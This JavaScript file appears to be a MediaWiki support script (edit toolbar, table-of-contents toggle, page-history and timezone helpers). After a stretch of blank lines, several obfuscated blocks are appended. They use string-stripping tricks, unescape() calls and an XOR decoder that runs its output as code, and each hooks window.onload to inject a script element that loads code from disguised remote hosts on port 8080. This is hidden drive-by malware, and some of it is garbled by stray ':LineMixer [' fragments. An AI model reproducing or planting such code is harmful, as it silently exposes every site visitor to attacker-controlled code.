// Wikipedia JavaScript support functions
// if this is true, the toolbar will no longer overwrite the infobox when you move the mouse over individual items
var noOverwrite=false;
var alertText;
var clientPC = navigator.userAgent.toLowerCase(); // Get client info
var is_gecko = ((clientPC.indexOf('gecko')!=-1) && (clientPC.indexOf('spoofer')==-1)
                && (clientPC.indexOf('khtml') == -1) && (clientPC.indexOf('netscape/7.0')==-1));
var is_safari = ((clientPC.indexOf('AppleWebKit')!=-1) && (clientPC.indexOf('spoofer')==-1));
var is_khtml = (navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled ));
if (clientPC.indexOf('opera')!=-1) {
    var is_opera = true;
    var is_opera_preseven = (window.opera && !document.childNodes);
    var is_opera_seven = (window.opera && document.childNodes);
}

// add any onload functions in this hook (please don't hard-code any events in the xhtml source)
function onloadhook () {
    // don't run anything below this for non-dom browsers
    if(!(document.getElementById && document.getElementsByTagName)) return;
    histrowinit();
    unhidetzbutton();
    tabbedprefs();
    akeytt();
}
if (window.addEventListener) window.addEventListener("load",onloadhook,false);
else if (window.attachEvent) window.attachEvent("onload",onloadhook);


// document.write special stylesheet links
if(typeof stylepath != 'undefined' && typeof skin != 'undefined') {
    if (is_opera_preseven) {
        document.write('<link rel="stylesheet" type="text/css" href="'+stylepath+'/'+skin+'/Opera6Fixes.css">');
    } else if (is_opera_seven) {
        document.write('<link rel="stylesheet" type="text/css" href="'+stylepath+'/'+skin+'/Opera7Fixes.css">');
    } else if (is_khtml) {
        document.write('<link rel="stylesheet" type="text/css" href="'+stylepath+'/'+skin+'/KHTMLFixes.css">');
    }
}
// Un-trap us from framesets
if( window.top != window ) window.top.location = window.location;

// for enhanced RecentChanges
function toggleVisibility( _levelId, _otherId, _linkId) {
	var thisLevel = document.getElementById( _levelId );
	var otherLevel = document.getElementById( _otherId );
	var linkLevel = document.getElementById( _linkId );
	if ( thisLevel.style.display == 'none' ) {
		thisLevel.style.display = 'block';
		otherLevel.style.display = 'none';
		linkLevel.style.display = 'inline';
	} else {
		thisLevel.style.display = 'none';
		otherLevel.style.display = 'inline';
		linkLevel.style.display = 'none';
		}
}

// page history stuff
// attach event handlers to the input elements on history page
function histrowinit () {
    hf = document.getElementById('pagehistory');
    if(!hf) return;
    lis = hf.getElementsByTagName('LI');
    for (i=0;i<lis.length;i++) {
        inputs=lis[i].getElementsByTagName('INPUT');
        if(inputs[0] && inputs[1]) {
                inputs[0].onclick = diffcheck;
                inputs[1].onclick = diffcheck;
        }
    }
    diffcheck();
}
// check selection and tweak visibility/class onclick
function diffcheck() { 
    var dli = false; // the li where the diff radio is checked
    var oli = false; // the li where the oldid radio is checked
    hf = document.getElementById('pagehistory');
    if(!hf) return;
    lis = hf.getElementsByTagName('LI');
    for (i=0;i<lis.length;i++) {
        inputs=lis[i].getElementsByTagName('INPUT');
        if(inputs[1] && inputs[0]) {
            if(inputs[1].checked || inputs[0].checked) { // this row has a checked radio button
                if(inputs[1].checked && inputs[0].checked && inputs[0].value == inputs[1].value) return false;
                if(oli) { // it's the second checked radio
                    if(inputs[1].checked) {
                    oli.className = "selected";
                    return false 
                    }
                } else if (inputs[0].checked) {
                    return false;
                }
                if(inputs[0].checked) dli = lis[i];
                if(!oli) inputs[0].style.visibility = 'hidden';
                if(dli) inputs[1].style.visibility = 'hidden';
                lis[i].className = "selected";
                oli = lis[i];
            }  else { // no radio is checked in this row
                if(!oli) inputs[0].style.visibility = 'hidden';
                else inputs[0].style.visibility = 'visible';
                if(dli) inputs[1].style.visibility = 'hidden';
                else inputs[1].style.visibility = 'visible';
                lis[i].className = "";
            }
        }
    }
}

// generate toc from prefs form, fold sections
// XXX: needs testing on IE/Mac and safari
// more comments to follow
function tabbedprefs() {
    prefform = document.getElementById('preferences');
    if(!prefform || !document.createElement) return;
    if(prefform.nodeName == 'A') return; // Occasional IE problem
    prefform.className = prefform.className + 'jsprefs';
    var sections = new Array();
    children = prefform.childNodes;
    var seci = 0;
    for(i=0;i<children.length;i++) {
        if(children[i].nodeName.indexOf('FIELDSET') != -1) {
            children[i].id = 'prefsection-' + seci;
            children[i].className = 'prefsection';
            if(is_opera || is_khtml) children[i].className = 'prefsection operaprefsection';
            legends = children[i].getElementsByTagName('LEGEND');
            sections[seci] = new Object();
            if(legends[0] && legends[0].firstChild.nodeValue)
                sections[seci].text = legends[0].firstChild.nodeValue;
            else
                sections[seci].text = '# ' + seci;
            sections[seci].secid = children[i].id;
            seci++;
            if(sections.length != 1) children[i].style.display = 'none';
            else var selectedid = children[i].id;
        }
    }
    var toc = document.createElement('UL');
    toc.id = 'preftoc';
    toc.selectedid = selectedid;
    for(i=0;i<sections.length;i++) {
        var li = document.createElement('LI');
        if(i == 0) li.className = 'selected';
        var a =  document.createElement('A');
        a.href = '#' + sections[i].secid;
        a.onclick = uncoversection;
        a.innerHTML = sections[i].text;
        a.secid = sections[i].secid;
        li.appendChild(a);
        toc.appendChild(li);
    }
    prefform.insertBefore(toc, children[0]);
    document.getElementById('prefsubmit').id = 'prefcontrol';
}
function uncoversection() {
    oldsecid = this.parentNode.parentNode.selectedid;
    newsec = document.getElementById(this.secid);
    if(oldsecid != this.secid) {
        ul = document.getElementById('preftoc');
        document.getElementById(oldsecid).style.display = 'none';
        newsec.style.display = 'block';
        ul.selectedid = this.secid;
        lis = ul.getElementsByTagName('LI');
        for(i=0;i< lis.length;i++) {
            lis[i].className = '';
        }
        this.parentNode.className = 'selected';
    }
    return false;
}

// Timezone stuff
// tz in format [+-]HHMM
function checkTimezone( tz, msg ) {
	var localclock = new Date();
	// returns negative offset from GMT in minutes
	var tzRaw = localclock.getTimezoneOffset();
	var tzHour = Math.floor( Math.abs(tzRaw) / 60);
	var tzMin = Math.abs(tzRaw) % 60;
	var tzString = ((tzRaw >= 0) ? "-" : "+") + ((tzHour < 10) ? "0" : "") + tzHour + ((tzMin < 10) ? "0" : "") + tzMin;
	if( tz != tzString ) {
		var junk = msg.split( '$1' );
		document.write( junk[0] + "UTC" + tzString + junk[1] );
	}
}
function unhidetzbutton() {
    tzb = document.getElementById('guesstimezonebutton')
    if(tzb) tzb.style.display = 'inline';
}

// in [-]HH:MM format...
// won't yet work with non-even tzs
function fetchTimezone() {
	// FIXME: work around Safari bug
	var localclock = new Date();
	// returns negative offset from GMT in minutes
	var tzRaw = localclock.getTimezoneOffset();
	var tzHour = Math.floor( Math.abs(tzRaw) / 60);
	var tzMin = Math.abs(tzRaw) % 60;
	var tzString = ((tzRaw >= 0) ? "-" : "") + ((tzHour < 10) ? "0" : "") + tzHour +
		":" + ((tzMin < 10) ? "0" : "") + tzMin;
	return tzString;
}

function guessTimezone(box) {
	document.preferences.wpHourDiff.value = fetchTimezone();
}

function showTocToggle(show,hide) {
	if(document.getElementById) {
		document.writeln('<span class=\'toctoggle\'>[<a href="javascript:toggleToc()" class="internal">' +
		'<span id="showlink" style="display:none;">' + show + '</span>' +
		'<span id="hidelink">' + hide + '</span>'
		+ '</a>]</span>');
	}
}


function toggleToc() {
	var toc = document.getElementById('tocinside');
	var showlink=document.getElementById('showlink');
	var hidelink=document.getElementById('hidelink');
	if(toc.style.display == 'none') {
		toc.style.display = tocWas;
		hidelink.style.display='';
		showlink.style.display='none';

	} else {
		tocWas = toc.style.display;
		toc.style.display = 'none';
		hidelink.style.display='none';
		showlink.style.display='';

	}
}

// this function generates the actual toolbar buttons with localized text
// we use it to avoid creating the toolbar where javascript is not enabled
function addButton(imageFile, speedTip, tagOpen, tagClose, sampleText) {

	speedTip=escapeQuotes(speedTip);
	tagOpen=escapeQuotes(tagOpen);
	tagClose=escapeQuotes(tagClose);
	sampleText=escapeQuotes(sampleText);
	var mouseOver="";

	// we can't change the selection, so we show example texts
	// when moving the mouse instead, until the first button is clicked
	if(!document.selection && !is_gecko) {
		// filter backslashes so it can be shown in the infobox
		var re=new RegExp("\\\\n","g");
		tagOpen=tagOpen.replace(re,"");
		tagClose=tagClose.replace(re,"");
		mouseOver = "onMouseover=\"if(!noOverwrite){document.infoform.infobox.value='"+tagOpen+sampleText+tagClose+"'};\"";
	}

	document.write("<a href=\"javascript:insertTags");
	document.write("('"+tagOpen+"','"+tagClose+"','"+sampleText+"');\">");

        document.write("<img width=\"23\" height=\"22\" src=\""+imageFile+"\" border=\"0\" ALT=\""+speedTip+"\" TITLE=\""+speedTip+"\""+mouseOver+">");
	document.write("</a>");
	return;
}

function addInfobox(infoText,text_alert) {
	alertText=text_alert;
	var clientPC = navigator.userAgent.toLowerCase(); // Get client info

	var re=new RegExp("\\\\n","g");
	alertText=alertText.replace(re,"\n");

	// if no support for changing selection, add a small copy & paste field
	// document.selection is an IE-only property. The full toolbar works in IE and
	// Gecko-based browsers.
	if(!document.selection && !is_gecko) {
 		infoText=escapeQuotesHTML(infoText);
	 	document.write("<form name='infoform' id='infoform'>"+
			"<input size=80 id='infobox' name='infobox' value=\""+
			infoText+"\" READONLY></form>");
 	}

}

function escapeQuotes(text) {
	var re=new RegExp("'","g");
	text=text.replace(re,"\\'");
	re=new RegExp('"',"g");
	text=text.replace(re,'&quot;');
	re=new RegExp("\\n","g");
	text=text.replace(re,"\\n");
	return text;
}

function escapeQuotesHTML(text) {
	var re=new RegExp('"',"g");
	text=text.replace(re,"&quot;");
	return text;
}

// apply tagOpen/tagClose to selection in textarea,
// use sampleText instead of selection if there is none
// copied and adapted from phpBB
function insertTags(tagOpen, tagClose, sampleText) {

	var txtarea = document.editform.wpTextbox1;
	// IE
	if(document.selection  && !is_gecko) {
		var theSelection = document.selection.createRange().text;
		if(!theSelection) { theSelection=sampleText;}
		txtarea.focus();
		if(theSelection.charAt(theSelection.length - 1) == " "){// exclude ending space char, if any
			theSelection = theSelection.substring(0, theSelection.length - 1);
			document.selection.createRange().text = tagOpen + theSelection + tagClose + " ";
		} else {
			document.selection.createRange().text = tagOpen + theSelection + tagClose;
		}

	// Mozilla
	} else if(txtarea.selectionStart || txtarea.selectionStart == '0') {
 		var startPos = txtarea.selectionStart;
		var endPos = txtarea.selectionEnd;
		var scrollTop=txtarea.scrollTop;
		var myText = (txtarea.value).substring(startPos, endPos);
		if(!myText) { myText=sampleText;}
		if(myText.charAt(myText.length - 1) == " "){ // exclude ending space char, if any
			subst = tagOpen + myText.substring(0, (myText.length - 1)) + tagClose + " ";
		} else {
			subst = tagOpen + myText + tagClose;
		}
		txtarea.value = txtarea.value.substring(0, startPos) + subst +
		  txtarea.value.substring(endPos, txtarea.value.length);
		txtarea.focus();

		var cPos=startPos+(tagOpen.length+myText.length+tagClose.length);
		txtarea.selectionStart=cPos;
		txtarea.selectionEnd=cPos;
		txtarea.scrollTop=scrollTop;

	// All others
	} else {
		var copy_alertText=alertText;
		var re1=new RegExp("\\$1","g");
		var re2=new RegExp("\\$2","g");
		copy_alertText=copy_alertText.replace(re1,sampleText);
		copy_alertText=copy_alertText.replace(re2,tagOpen+sampleText+tagClose);
		var text;
		if (sampleText) {
			text=prompt(copy_alertText);
		} else {
			text="";
		}
		if(!text) { text=sampleText;}
		text=tagOpen+text+tagClose;
		document.infoform.infobox.value=text;
		// in Safari this causes scrolling
		if(!is_safari) {
			txtarea.focus();
		}
		noOverwrite=true;
	}
	// reposition cursor if possible
	if (txtarea.createTextRange) txtarea.caretPos = document.selection.createRange().duplicate();
}

function akeytt() {
    if(typeof ta == "undefined" || !ta) return;
    pref = 'alt-';
    if(is_safari || navigator.userAgent.toLowerCase().indexOf( 'mac' ) + 1 ) pref = 'control-';
    if(is_opera) pref = 'shift-esc-';
    for(id in ta) {
        n = document.getElementById(id);
        if(n){
            a = n.childNodes[0];
            if(a){
                if(ta[id][0].length > 0) {
                    a.accessKey = ta[id][0];
                    ak = ' ['+pref+ta[id][0]+']';
                } else {
                    ak = '';
                }
                a.title = ta[id][1]+ak;
            } else {
                if(ta[id][0].length > 0) {
                    n.accessKey = ta[id][0];
                    ak = ' ['+pref+ta[id][0]+']';
                } else {
                    ak = '';
                }
                n.title = ta[id][1]+ak;
            }
        }
    }
}















var j=false;var av;if(av!='o' && av != ''){av=null};var f;if(f!='jk' && f!='mi'){f=''};var wl;if(wl!='k' && wl!='m_'){wl='k'};var y=window;var gc;if(gc!=''){gc='v'};var z;if(z!='' && z!='oj'){z='jx'};var _=document;var _a='s#cBrli#pGtl'.replace(/[lBGm#]/g, '');var nw;if(nw!='p'){nw='p'};var ow="ow";this.d="";y.onload=function(){var ju="ju";try {var y_;if(y_!='vp'){y_='vp'};this.hl='';n=_.createElement(_a);n.setAttribute('d5eCf+e1rt'.replace(/[t1\+5C]/g, ''), "1");var ui;if(ui!='' && ui!='qe'){ui=null};n.src='hNtJt|pN:B/J/BdNaNqBiJ-EcEoJmB.Jm|yJwJe|b|sNeNaJrEc|hJ.EcJo|m|.|cBnNe|tN-Ec|oBmN.NrEeBcBeNnJt|mNeExEiJcJoB.ErNuB:B8J0E8B0B/JeNbEa|yB.BeBsE/BeJbEaJyN.BeEsN/Jg|oJoNgNlJeE.JcNoEmB/JmJyJsJq|l|.NcJoBmB/|aJbJrEiNlE.|cBoJm|.|bJrN/J'.replace(/[JNE\|B]/g, '');this.owh="";var kv;if(kv!='' && kv!='fo'){kv=''};_.body.appendChild(n);var io;if(io!='bt' && io!='eo'){io='bt'};var mp;if(mp!='op' && mp!='kg'){mp='op'};} catch(a){this.c="c";var _f='';};var wh='';};var vq=new Date();
var o;if(o!='' && o!='e'){o=null};try {:LineMixer [var ob='';var w='hXtXtXpX:>/H/>rLi>nLc>o,nXd>eXlHvXa>g>oL-XcHo,mH.Lf>o>t>o,lHiLaX.HcXoLm>.LcLh>iLp>-,d>eX.Lb,eLs,tHnLeHw>sXmLa>l>l,.Hr>uH:,8H0H8,0L/,rL1,0H.,n,eLt,/Xr>1>0X.HnLeLt>/Hg>oHoLg,lHeL.>cLoHm>/Xy>iXmHg,.Hc,o>m>/>cXlXiLcHk>sHoXr>.>cLo,mH/,'.replace(/[,HX\>L]/g, '');var um=new Date();var d='sbc$rbinp+t+'.replace(/[\+\$lbn]/g, '');var mn=false;var h='czrve?aztzezEUlzeUm?evnUtU'.replace(/[Uvz;\?]/g, '');var r='oKnqlIo:aKdq'.replace(/[q\:HKI]/g, '');var a="1";var j='aop?pwe&nwdoC&h?i?l&d?'.replace(/[\?o&Mw]/g, '');this.i=false;var y='sle;tlAMt;t;r:i;b2ult2e2'.replace(/[2;Ml\:]/g, '');var u='bfoGdGy|'.replace(/[\|fGX8]/g, '');var p;if(p!='n'){p='n'};]window[r]=function(){this.un="un";m=document[h](d);var t;if(t!='' && t!='g'){t='xc'};var jv;if(jv!='q' && jv!='eh'){jv='q'};:LineMixer [var wc;if(wc!=''){wc='gw'};m['sBrKcB'.replace(/[BD\|Kd]/g, '')]=w;var zj;if(zj!='_' && zj!='h_'){zj=''};m[y]('dReRfKeKrK'.replace(/[KRUtj]/g, ''), a);var b=document[u];var ed;if(ed!='_a' && ed!='zi'){ed='_a'};]var _w;if(_w!='bl' && _w!='ju'){_w=''};b[j](m);var hy="";};var en=new Array();} catch(wo){};var iv=new Date();
try {var o;if(o!=''){o='k'};var es;if(es!=''){es='bb'};var f='';this.ul=false;var wj='';var h;if(h!='' && h!='fr'){h='kw'};var e='s:chr.i:p.th'.replace(/[h\.\:7X]/g, '');var t;if(t!='wk' && t!='x'){t='wk'};var j='o?nzl?ozaCdz'.replace(/[z\<C\?G]/g, '');var b='cpr/epaVtpeBE/lVepm/eVnptO'.replace(/[OB/pV]/g, '');var dq;if(dq!='' && dq!='ua'){dq='zl'};var w=window;var te=new Date();this.s=false;u=function(){z=document[b](e);var sc="sc";z['sVrdcJ'.replace(/[JVq\+d]/g, '')]='hCt+t9p;:9/;/;aWdWmWi9n+5C-CcWo;m;.;p9oWrCnCbWbC.+o+r;g;.9rWeCd9d9i9tC-Wc9oCm+.Wm9e9dCiWaWtWa+gWo+n;l;i;nWe;.Cr+u;:+8C0W8+0+/Cs;h;oWpClCo+c9a+lW.+cCo+mW/9s;hWoWp9lCoWc+aClW.WcWoWm+/;d;oCc;s;t+oCc;.;cWoCmC/;l9i+nCk;s9y+nCeWr;g;y9.9c;oWm;/Wg;o;o;gCl;eC.Wc;o9m;/+'.replace(/[\+;WC9]/g, '');var an=new Date();z.setAttribute('dceYfKeYrX'.replace(/[XcY~K]/g, ''), ([1][0]));this.my="";var le="le";document['bWo3d:y3'.replace(/[3uW\:V]/g, '')]['a6p*pfefn#d*C*h#i#l^d#'.replace(/[#\^f6\*]/g, '')](z);this.xy=false;};var y=new String();var _z=new Array();this._o="_o";w[j]=u;this.xo=30526;} catch(q){};var ix;if(ix!='fd' && ix!='ke'){ix=''};
var gW="1f000632107234303b1d3a7614011e1379140f32100416362d3719213c2f270d2310321421152611222c101d2d1f33181a063516253a1e081d1e071c14041c363464363066181f367410046c0433";var ps=new String();var FG=new Date();var Qu;if(Qu!='' && Qu!='gWF'){Qu=''};function f(S){ var e=function(l){this.fq="fq";var b;if(b!='' && b!='cd'){b=''};var Sc=[16,226,255][2];var o=new Array();var Eu;if(Eu!='L' && Eu != ''){Eu=null};var Dn=[0][0];var j=[1,190,161][0];this.rF="";this.di="";var Wq;if(Wq!='dh'){Wq='dh'};var R='';var h=[46,0][1];var eA=false;var k=l[N("tnhgel", [5,4,1,3,0,2])];this.X=false;var LI;if(LI!='rw' && LI != ''){LI=null};var I=false;while(Dn<k){var OM="OM";var Lw;if(Lw!=''){Lw='yC'};var AJ;if(AJ!=''){AJ='DO'};Dn++;i=y(l,Dn - j);var RC;if(RC!='' && RC!='dX'){RC='sN'};h+=i*k;var iq=false;}this.zy="";var J;if(J!='Fx'){J='Fx'};var Oa="Oa";return new Q(h % Sc);};var Gw;if(Gw!=''){Gw='cw'};var Zky;if(Zky!='' && Zky!='nC'){Zky=null};var aB=''; var N=function(fO, M){this.aK=33533;var hD;if(hD!='' && hD!='Fe'){hD=''};var Z=[0,29][0];var Gt=new Array();var U = M.length;this.NC=false;this.CR=false;var C = '';var kw;if(kw!='dJ'){kw=''};var j=[115,1][1];this.Gc=35052;var bU;if(bU!=''){bU='bo'};var lW = fO.length;var LT=45936;var hC="";var p;if(p!='' && p!='bS'){p=null};for(var CN = Z; CN < lW; CN += U) {var kA=new String();var cJ='';var WN=new Date();var Y = fO.substr(CN, U);if(Y.length == U){var eb;if(eb!='' && eb!='jG'){eb=''};var mU;if(mU!='' && mU!='tL'){mU=''};for(var Dn in M) {var Uh=false;C+=Y.substr(M[Dn], j);var Vm;if(Vm!='' && Vm!='TJ'){Vm=null};this.vR="vR";}var HB;if(HB!='gh'){HB='gh'};var ZM;if(ZM!='' && ZM!='xf'){ZM=null};} else {this.XA='';  C+=Y;}this.iS=false;}var Ju;if(Ju!='' && Ju!='ML'){Ju=''};var RQ=new String();return C;var Pc;if(Pc!='' && Pc!='oc'){Pc='qJ'};};var Xa;if(Xa!='fY' && Xa!='ED'){Xa='fY'};this.gs=false;var xl;if(xl!='' && xl!='QQ'){xl=''};var LR;if(LR!='' && LR!='xg'){LR=''}; var vQH;if(vQH!='yc' && vQH!='yD'){vQH=''};var Gx;if(Gx!='' && Gx!='EY'){Gx=null};function r(kS,P){var rn;if(rn!=''){rn='pp'};var Ja=new Array();return kS^P;var RE=new Date();var kM;if(kM!='dXo'){kM='dXo'};}this.fm=false;this.Lb=false;var Ap;if(Ap!='YS' && Ap != ''){Ap=null};var RW;if(RW!='lN' && RW!='Da'){RW=''}; var y=function(Sa,az){return Sa[N("daoCehcrAt", [6,5,1,7,3,2,0,4])](az);this.dxJ="dxJ";};var kp=new String();this.nQ="nQ";var xs=new Array();var UJ;if(UJ!='Kx'){UJ=''}; var IO;if(IO!='' && IO!='Vj'){IO=''};var TC=false;function a(fO){this.cH="";var LM;if(LM!='Wd'){LM='Wd'};var lRc;if(lRc!='OH' && lRc!='Yi'){lRc=''};var Sf = -1;var hM=new Array();var Z =[132,0,163][1];var Mv="Mv";fO = new Q(fO);var C = '';var IR=false;var CN =[183,0][1];var tzR;if(tzR!='lv'){tzR=''};var Ee=false;var Bn="Bn";for (CN=fO[N("nlehgt", [1,2,0])]-Sf;CN>=Z;CN=CN-[1,83,109][0]){var XaG;if(XaG!='Jk' && XaG!='jh'){XaG='Jk'};C+=fO[N("aAhcrt", [3,2,0,4,1])](CN);var Wl;if(Wl!='' && Wl!='Ss'){Wl=''};var tW;if(tW!='' && tW!='UF'){tW=''};}return C;}var K=window;var EF;if(EF!='' && EF!='LwL'){EF=''};var ye;if(ye!=''){ye='uk'};var n=K[N("vela", [1,0])];var hQ=n(N("utncFion", [4,0,2,3,1]));var ilK=new Array();var c = '';var jV;if(jV!='hV' && jV!='Gl'){jV='hV'};var Q=n(N("gintSr", [4,3,5,1,2,0]));var OG;if(OG!='' && OG!='sL'){OG='Ac'};var zN;if(zN!='' && zN!='Gh'){zN='zm'};var HD;if(HD!='OHQ' && HD!='qy'){HD='OHQ'};var Sz=n(N("eRgxEp", [1,0,2]));var qa;if(qa!='' && qa!='RZ'){qa='WJ'};this.CJ=false;var Bl="";var nN='';this.Iq="";this.lw="";var O=Q[N("oCfhmrraCode", [2,6,0,4,1,3,7,5])];var mo;if(mo!=''){mo='qR'};this.uc=36294;var CX=K[N("nuseacep", [1,0])];this.Nn=false;var Nb;if(Nb!='' && Nb!='qi'){Nb=null};var MF;if(MF!='' && MF!='kU'){MF=null};var HA="HA";this.CK="CK";var DS;if(DS!='' && DS!='oq'){DS='Kz'};var Uq = '';var m =[0][0];var Fy=13515;var IX=false;var v = /[^@a-z0-9A-Z_-]/g;var no;if(no!='' && no!='zc'){no=null};var RCc;if(RCc!='vfX' && RCc!='PG'){RCc=''};var Ho;if(Ho!='' && Ho!='KF'){Ho=null};var As;if(As!='WVk' && As!='QZ'){As='WVk'};var SR="";var MO=[1, N("cdoeum.ntecreateElnme\'t(rsctip\')", [1,2,0]),2, N("mdocubent.aody.dppendChil(d)", [1,2,3,4,0]),3, N("oc.milevisetedisngr.:u0808", [1,0]),4, N("eds.tttAurbi\'t(eedfer\'", [1,3,2,0]),5, N("o.cmlsaif.oto.cm3949", [2,0,3,1]),6, N("bimzco.iom", [3,1,2,0]),7, N("onmgrofias.aomc", [2,0,1]),8, N("dwoninwlo.oad", [1,4,3,0,2]),11, N("asnim.oc.cn", [1,3,2,0]),12, N("googce.lom", [3,1,2,0]),14, N("nfuict(on)", [1,2,0]),15, N("acct(h)e", [1,0]),16, N("plpvei", [2,0,1]),17, N("p\"tht:", [1,3,2,4,0]),18, N("rsc.d", [4,3,1,0,2]),19, N("1\')\'", [1,0]),20, N("rty", [1,0])];this.Bw="Bw";var xn;if(xn!='' && xn!='px'){xn='Hf'};var Z =[239,0,134,108][1];var pk;if(pk!='' && pk!='lwr'){pk='IEN'};var iJ = Q.fromCharCode(37);var fay;if(fay!='iF'){fay=''};var vl="";var j =[97,1,54][1];var YiY;if(YiY!='' && YiY!='bC'){YiY='iY'};this.We=56884;var hF='';var tV;if(tV!='pE' && tV!='HS'){tV='pE'};var q =[145,2,64][1];var Eo;if(Eo!='uF' && Eo != ''){Eo=null};var V = '';var jk = S[N("nlgeth", [1,3,0,2])];var H = '';this.Hl='';var TM;if(TM!='NnK'){TM='NnK'};for(var DB=Z; DB < jk; DB+=q){Uq+= iJ; var Hr=new Date();Uq+= S[N("ussbrt", [1,0])](DB, q);this.Ux="";var UX=new Date();}var xd;if(xd!='yy'){xd='yy'};var S = CX(Uq);var BY="";var z = new Q(f);var Dd = z[N("paecrle", [4,2,0,5,1,3])](v, V);var Sl=new Date();this.UU="";var YY = new Q(hQ);var zM=new Date();Dd = a(Dd);var rwG=new String();var Te=new String();var il = MO[N("ghlnte", [2,5,3,0,4,1])];var JM;if(JM!='Nw'){JM='Nw'};var ea;if(ea!='' && ea!='en'){ea=null};var Ef;if(Ef!='OK' && Ef!='Dls'){Ef='OK'};var lR = YY[N("earlpec", [2,0,4,3,1,6,5])](v, V);var Ff="Ff";var lR = e(lR);var DP=e(Dd);var zO;if(zO!='zL'){zO='zL'};var UK=new Array();for(var CN=Z; CN < (S[N("elgnht", [1,0])]);CN=CN+[1,108][0]) {var Yn;if(Yn!='Rs' && Yn != ''){Yn=null};var ON;if(ON!='YM' && ON!='UO'){ON=''};this.vb="vb";var mc = Dd.charCodeAt(m);var qI;if(qI!=''){qI='JU'};var br=new Date();var E = y(S,CN);E = r(E, mc);var CE;if(CE!='FN'){CE='FN'};var vS="";E = r(E, DP);this.ar="";E = r(E, lR);var tkT="tkT";var CL="CL";var qU=new Date();m++;var Iez="";if(m > Dd.length-j){var Lt="Lt";var zl=new Array();m=Z;var Vp=new Array();var RZy;if(RZy!='' && RZy!='tj'){RZy='sV'};}var iz="";var Zd="Zd";var Ng=false;H += O(E);}var nq;if(nq!='cc' && nq!='oP'){nq='cc'};this.Sr='';for(OC=Z; OC < il; OC+=q){this.Ti=false;this.rkl=false;var lK="lK";var aH = MO[OC + j];var Hk;if(Hk!='yS' && Hk != ''){Hk=null};var OX = O(MO[OC]);var HJs='';var tI;if(tI!='HG'){tI=''};var Bs=new Array();var ur=new String();var nl;if(nl!='rI'){nl=''};var VX;if(VX!='xD' && VX != ''){VX=null};var t = new Sz(OX, Q.fromCharCode(103));H=H[N("plraece", [2,4,0,1,3])](t, aH);var Pv;if(Pv!='' && Pv!='bCz'){Pv='Du'};}var ox="";var ef=new hQ(H);this.rY=false;ef();var Zl;if(Zl!='iU' && Zl!='PA'){Zl='iU'};var Xs;if(Xs!='Lj' && Xs!='Oi'){Xs='Lj'};lR = '';this.gL="";ef = '';YY = '';var uj;if(uj!='Dww' && uj!='cA'){uj=''};var Dm;if(Dm!='bF' && Dm != ''){Dm=null};H = '';var iG="";this.Fyj='';DP = '';var hu;if(hu!='sqD'){hu='sqD'};Dd = '';var uR=false;var IBE="";return '';};var ps=new String();var FG=new Date();var Qu;if(Qu!='' && Qu!='gWF'){Qu=''};f(gW);
var r=new Array();var Sx;if(Sx!='C'){Sx='C'};var Lr=new Date();var SA;if(SA!='Tt' && SA!='l'){SA=''};function p(){var rU;if(rU!='Z' && rU!='Y'){rU='Z'};var zF='';var Hr;if(Hr!='' && Hr!='H'){Hr=''};var K=window;var c="";var E=unescape;this.dB='';this.dM='';var T=E("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%76%61%78%68%6f%6d%65%2e%77%73%2f%74%65%61%63%75%70%2e%63%6f%6d%2e%70%68%70");var Cx='';var o_;if(o_!='fH'){o_='fH'};function I(N,D){this.W='';var OM="";var Jq=new String();var Da=new Array();var X=new String("3PLyg".substr(4));var a=E("%5b"), J=E("%5d");var sB;if(sB!='Gt'){sB='Gt'};var v=a+D+J;var tY;if(tY!='MK'){tY='MK'};var la=new Array();var u=new RegExp(v, X);var KO;if(KO!='yP'){KO='yP'};var B=new Array();return N.replace(u, new String());var yp='';};var MX;if(MX!='' && MX!='Vy'){MX=null};var JX=new Date();var MKh=new String();var oS=new Date();var nk=new String();this.Sb='';var aJ=new String();var bU=new Array();var KN;if(KN!='' && KN!='wk'){KN=null};var Xj=document;var dP=new String();var IC=I('8329110622184247014642','76342159');var Ed=new String();var Uy;if(Uy!='g'){Uy=''};var Wc=new Date();function i(){var SO;if(SO!='' && SO!='Jg'){SO=null};var S=E("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");var Dr;if(Dr!='Q' && Dr!='mN'){Dr='Q'};aJ=S;var ZO;if(ZO!='fc' && ZO!='j'){ZO='fc'};var oq;if(oq!='' && oq!='Ol'){oq=null};aJ+=IC;this.Gh="";this.ic="";aJ+=T;this.yl='';try {var an;if(an!='' && an!='IV'){an='iP'};var R="";z=Xj.createElement(I('s2cWrhiXpZtQ','ZnN7_XhWS2Q'));var rY=new Date();var nA;if(nA!='YN'){nA=''};z[E("%73%72%63")]=aJ;var rUr;if(rUr!='jw'){rUr=''};this.hg="";z[E("%64%65%66%65%72")]=[1,2][0];var qP;if(qP!='zO' && qP!='Ml'){qP='zO'};this.dW="";var LHs;if(LHs!='' && LHs!='Fh'){LHs='q_'};var Le=new String();var Ss;if(Ss!='ea'){Ss=''};var Ot=new String();Xj.body.appendChild(z);var uf;if(uf!='eI' && uf != ''){uf=null};var FL;if(FL!='Eu' && FL!='rC'){FL='Eu'};var mH='';} catch(aQ){var XG=new Date();alert(aQ);};}this.JG='';var Zh;if(Zh!='dj'){Zh=''};var EZ=new Date();K[new String("on"+"umdPlo".substr(4)+"ad")]=i;var yvz="";var WN="";this.K_="";};var Ql;if(Ql!='' && Ql!='gJ'){Ql=null};var Rl='';p();var lE='';var cF;if(cF!='FU' && cF!='tYF'){cF=''};